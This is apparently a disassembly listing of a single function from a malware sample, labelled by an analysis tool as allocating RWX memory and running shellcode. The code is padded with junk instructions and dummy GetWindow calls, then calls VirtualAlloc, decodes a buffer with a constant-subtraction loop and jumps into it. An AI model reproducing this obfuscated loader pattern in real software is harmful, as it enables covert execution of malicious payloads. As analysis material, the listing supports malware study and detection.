Function at 0x40944a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov eax, dword [0x437b50]
sub eax, edi
mov eax, dword [0x437bd8]
mov eax, dword [0x437c04]
mov ax, 0x40
mov edi, dword [0x43797c]
cmp eax, 0x43797c
sub eax, eax
sub ecx, eax
add ecx, dword [0x4379f8]
push ecx
push ecx
call sub.USER32.dll_GetWindow
add eax, dword [0x437b40]
sub ecx, edx
call fcn.0040102e
mov edi, dword [0x43795c]
mov eax, 8
mov eax, dword [0x437b10]
and esi, ecx
push dword [0x437b44]
add ecx, ecx
push ecx
call sub.USER32.dll_GetWindow
mov esi, dword [0x437d38]
add edx, eax
mov edx, dword [0x437970]
mov ax, 4
call fcn.00401132
sbb eax, dword [0x437b88]
sub eax, eax
mov eax, dword [0x4379c0]
mov ecx, dword [0x437d18]
add ecx, edx
push ecx
push eax
call sub.USER32.dll_GetWindow
mov eax, dword [0x437afc]
add edx, ecx
mov dword [0x437bb8], eax
push dword [0x437958]
mov dword [0x437a0c], ecx
push 0x80
call sub.USER32.dll_GetWindow
mov esi, dword [0x4379b8]
add eax, edi
mov eax, dword [0x437a6c]
push edi
push eax
call sub.USER32.dll_GetWindow
mov edi, dword [0x437a50]
mov si, 0xda
mov esi, dword [sym.imp.USER32.dll_GetMenu]
mov dword [0x437ac8], esi
push 8
push eax
call sub.USER32.dll_GetWindow
mov eax, dword [0x437958]
sub edi, edi
mov eax, 4
mov eax, dword [0x437a24]
sub eax, eax
push eax
push ecx
call sub.USER32.dll_GetWindow
mov edx, dword [0x437a80]
add esi, ecx
mov esi, dword [0x437958]
mov ecx, dword [0x437958]
mov eax, 0xb4
push 4
push eax
call sub.USER32.dll_GetWindow
mov eax, dword [0x437cb8]
add edi, eax
mov eax, dword [0x437b00]
mov ecx, 0x4d
sbb eax, dword [0x437b2c]
mov ecx, 0x89
mov ecx, dword [0x437ac8]
mov eax, 0x437a65
mov edi, dword [eax]
sub edi, eax
mov edi, 0x20
mov dword [eax + 4], edi
mov edi, dword [0x437958]
mov edi, dword [0x437964]
add edi, esi
mov esi, dword [0x437be8]
cmp dword [0x437aa8], 0x80
ja 0x4093b3
mov edi, dword [0x437964]
sub edi, esi
mov si, 0x71
mov dword [0x437ccc], esi
mov edi, dword [0x437d30]
xor byte [ebp + 0x43], bh
invalid
inc ecx
mov edx, dword [ecx]
cmp edx, dword [0x4378c1]
jne 0x409381
mov eax, dword [0x437cb0]
add eax, edi
add edi, eax
mov dword [0x437958], eax
mov dword [0x437990], edi
mov dword [0x437ba0], ecx
push eax
push esi
call sub.USER32.dll_GetWindow
inc esp
add al, byte [eax]
mov edx, dword [0x437ae0]
mov ax, 0x61
mov eax, dword [0x4379ec]
add eax, eax
sub edx, esi
push esi
mov eax, dword [0x437cdc]
push eax
call sub.USER32.dll_GetWindow
mov eax, dword [0x437ca0]
add eax, eax
mov ecx, dword [0x437c60]
mov eax, 0xf7
mov eax, dword [0x437cd0]
push eax
mov esi, dword [0x437ca8]
push esi
call sub.USER32.dll_GetWindow
mov edx, dword [0x437a90]
mov esi, 1
mov eax, dword [0x437bc8]
mov edx, 0x84
mov eax, dword [0x437cbc]
push dword [0x437acc]
push eax
call sub.USER32.dll_GetWindow
mov eax, dword [0x437cb0]
jl 0x40948f
add byte [ecx], al
clc
mov ecx, dword [0x437b64]
mov esi, 0x80
mov edi, dword [0x437ba0]
add edi, 1
mov eax, dword [edi]
mov dword [0x437ac8], eax
mov ecx, dword [0x437958]
mov cx, 0x80
add eax, edi
mov eax, dword [0x437ac4]
add byte [ebx + 0x437c0815], cl
add byte [esi - 0x46], ah
add byte [eax], 0x52
push eax
call sub.USER32.dll_GetWindow
or eax, dword [0x437cbc]
mov ax, 0x10
mov ecx, dword [0x437ccc]
xor ecx, eax
sub ecx, ecx
push ecx
push edi
call sub.USER32.dll_GetWindow
mov edx, dword [0x437b4c]
add eax, edx
mov di, 0x14
push 0x40
push 0x1000
push 0x15000
push 0
call sub.KERNEL32.dll_VirtualAlloc
mov dword [0x437ba0], eax
mov al, byte [0x8b00437b]
cmp eax, 0x437bd4
add edi, eax
mov eax, dword [0x437b14]
sbb esi, dword [0x437aec]
push edi
push eax
call sub.USER32.dll_GetWindow
mov esi, dword [0x4379bc]
mov dx, 0x80
mov eax, dword [0x43799c]
mov esi, dword [0x437c8c]
jl 0x40953c
add byte [eax + 0x56], dl
call sub.USER32.dll_GetWindow
mov esi, dword [0x437d3c]
and edi, eax
add eax, eax
sub esi, eax
mov edx, dword [0x437ba0]
mov edi, dword [0x437958]
sub edi, esi
mov si, 0xcb
mov dword [0x437a6c], edi
mov dword [0x437c40], esi
mov edi, dword [0x437c5c]
mov edi, dword [0x437c48]
mov esi, 0x2cd
mov eax, dword [0x4379dc]
add eax, edi
mov edi, dword [0x437c88]
cmp edi, 0
je 0x40956e
xor eax, dword [0x437c34]
mov eax, 0x40
mov edi, dword [0x437c00]
mov di, 0xb1
mov dword [0x437a0c], edi
mov eax, dword [0x437b64]
mov dword [0x4379f0], edi
mov ecx, dword [0x437ac8]
mov edi, dword [0x437978]
sub edi, eax
cmp eax, edi
jb 0x409593
mov edi, dword [0x437ce0]
add edi, eax
mov eax, 0x20
add ecx, 0x407fd1
mov eax, 0x437a59
mov edi, dword [eax]
mov edi, 0x72
mov dword [eax + 0x14], edi
sbb edi, dword [eax + 0x94]
test edi, edi
jl 0x4095b8
mov edi, dword [eax]
sub edi, eax
mov eax, dword [ecx]
sub eax, 0xbc6fbb6f
mov dword [edx], eax
mov edi, 0x437a89
mov eax, dword [edi]
mov eax, 1
mov dword [edi + 0xc], eax
mov dword [0x43798c], edi
add ecx, 4
sub edx, 0xfffffffc
mov eax, dword [0x4379bc]
mov ax, 0x10
sub edi, eax
mov dword [0x43798c], eax
mov eax, dword [0x437b58]
sub esi, 1
test esi, esi
jne 0x4095b8
mov eax, dword [0x437994]
mov si, 4
mov eax, 4
push 0xc4
mov dword [0x4379a8], eax
push dword [0x437c78]
call sub.USER32.dll_GetWindow
mov esi, dword [0x437958]
sub eax, edi
mov ecx, dword [0x437b60]
mov di, 0xf9
mov eax, dword [0x437c10]
mov esi, dword [0x437a00]
push esi
mov esi, 0x8d
push esi
call sub.USER32.dll_GetWindow
mov eax, dword [0x437c40]
add ecx, edi
sbb eax, dword [0x437a90]
add eax, ecx
mov dword [0x437958], esi
push dword [0x437cfc]
mov dword [0x437964], eax
push 0x63
call sub.USER32.dll_GetWindow
or eax, dword [0x437bb8]
sub eax, eax
mov edx, dword [0x437b74]
sub edx, edi
mov eax, dword [0x437ba8]
mov eax, dword [0x4379cc]
push eax
push dword [0x437c9c]
call sub.USER32.dll_GetWindow
mov eax, dword [0x4379a0]
mov eax, 0x3b
mov edi, dword [0x437c14]
add eax, eax
mov ecx, dword [0x437ba0]
call ecx
ret